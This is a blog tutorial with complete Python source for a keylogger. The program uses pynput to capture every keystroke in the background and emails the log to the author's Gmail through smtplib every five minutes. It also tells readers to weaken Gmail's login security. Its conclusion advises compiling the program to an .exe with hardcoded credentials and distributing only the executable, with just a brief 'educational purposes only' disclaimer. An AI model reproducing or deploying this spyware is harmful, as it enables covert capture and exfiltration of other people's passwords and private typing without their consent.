Creating A Keylogger In Python

Creating A Keylogger In Python

How to write a python keylogger that sends you an email containing captured keystrokes periodically.

Hi Friends,

Hope you are doing well. In this article, we will write a keylogger program that sends us an email with captured keystrokes periodically.

Before we start, let's understand what a keylogger is

A keylogger is a monitoring software designed to record keystrokes made by a user. These keyloggers collect information and send it back to a third party - whether that is a criminal, law enforcement agency, or an IT department.

Now, let's see how to create one ourselves.

To do this, we have to use a third-party library called pynput.

Head over to your terminal or command prompt(windows) and type:

pip install pynput

This library helps us monitor and control our input devices (mouse and keyboard).

So, here is what we want to accomplish with our python script:

  1. Listen for keystrokes in the background.
  2. Whenever we capture a keystroke, add the captured key to our global string variable.
  3. Send us an email periodically, based on the given time interval.

Let's start by importing the required modules

import smtplib # for sending the email
import datetime
from pynput import keyboard # for monitoring keystrokes
from threading import Timer # schedule a method to run after a given interval

Gmail has an additional security feature for Google accounts which in most cases, can cause smtplib to raise an error

To fix this, make sure Less secure app access is enabled. (This is required by smtplib to authenticate successfully)

image.png

The next step is to create a class to represent our keylogger.

This keylogger class will contain several properties and methods that perform specific tasks.

class Keylogger:
    def __init__(self, interval=300):
        # interval for sending email, defaults to 300 seconds(5 minutes)
        self.interval = interval
        # string variable for storing all captured keystrokes 
        self.logs = ""

Let's write a method that gets called whenever a key is pressed.

Methods are functions inside a class.

def handle_key_press(self, key):
    '''
    This function will get called whenever a keystroke is recorded.
    '''
    try:
        self.logs += key.char
    except AttributeError:
        if key == keyboard.Key.backspace:
            # remove the last character from self.logs, when backspace is pressed.
            self.logs = self.logs[:-1]
        elif key == keyboard.Key.enter:
            # add a newline whenever the enter key gets pressed.
            self.logs += '[ENTER]\n'
        elif key == keyboard.Key.space:
            # pynput does not register space by default, so we handle this manually
            self.logs += ' '
        else:
            pass

Whenever a key is pressed, the pressed key is appended to the self. logs variable.

Define a method to collect the user's email address and password

Be careful about putting passwords in your source code. If anyone ever copies your program, they’ll have access to your email account! It’s a good idea to call input() and have the user type in the password or store it in an environment variable. Either way is better than leaving it in your source code.

def request_email_credentials(self):
    self.email = input('Enter your email: ')
    self.password = input('Enter your password: ')

This function is soo simple, all it does is to request the user's email address and password, then store it as properties of the keylogger class.

Next, let's implement a method that sends the logs information to the user

This method is implemented to be independent, this ensures the class isn't tightly coupled. You can find more information about coupling in the book Practices of the Python Pro by Dane Hillard

def send_mail(self, email, password, msg):
    try:
        # you can change the smtp server and port, if you use a different mail 
        # service provider.
        server = smtplib.SMTP('smtp.gmail.com', 587)
        server.ehlo()
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, msg)
    except Exception as e:
        print('An error occurred: ', e)
    finally:
        server.quit()

Visit this tutorial for more information on sending emails with python

Now, let's implement a method that sends us key logs periodically.

def report(self):
    # send the email, only if some keystrokes have been captured'
    if self.logs:
        log_date = datetime.datetime.now()
        msg = f'Subject: Log info {log_date}\n' + self.logs
        self.send_mail(self.email, self.password, msg)
    self.logs = ''
    timer = Timer(interval=self.interval, function=self.report)
    timer.daemon = True
    timer.start()

Here, we check if the self. logs variable has recorded any keystrokes, if it has, we send these keystrokes to our email and reset the self.logs variable. And then, we passed the interval and self.report to the Timer class, next we call the start method after we set it as a daemon thread

Note: the Timer, takes in the same report method as its function argument. This is what makes the periodic feature of our code possible, once the report function is called, the Timer class is re-initialized to call it again after the given interval.

I have set the interval variable to 300 seconds(5 minutes), feel free to change this to suit your needs.

Finally, let's define a method that serves as the starting point of our program

def start(self):
    # request for email address and password
    self.request_mail_credentials()
    # start reporting the keylogs
    self.report()
    # start listening for keystrokes
    with keyboard.Listener(on_release=self.handle_key_press) as listener:
        listener.join()

And we are done with our Keylogger class, but one thing left, we need to instantiate the class

if __name__ == '__main__':
    # you can change the interval to any time you want in seconds.
    keylogger = Keylogger(interval=300)
    keylogger.start()

After running the program, you can see from the image, I actually get my keystrokes sent to me via email.

image.png

The pynput module is more powerful than just capturing keystrokes, it can register global hotkeys, simulate key presses, and control mouse movement.

For more information about the pynput module, check out their documentation here

Full source code

Conclusion

Here is a challenge for you, extend this program to save the logs to a file, then send this file as an attachment to your email daily.

You can also compile this code to an executable using any open source library, I recommend Pyinstaller

Quicknote: before compiling, you can remove the request_mail_credentials method, and then store your email address and password as variables in the code, but be sure not to distribute your source code, only the executable (.exe).

Disclaimer: This is for educational purposes only, I am not responsible for using this code on a computer you don't have permission to.

Okay Friends, please do share this post with your other friends on Twitter, Instagram, and Facebook

That's it, make sure you do the exercise and do like it if you found it informative. I will be releasing similar posts in the future, be sure to stick around.

Thanks for reading. ✌✌✌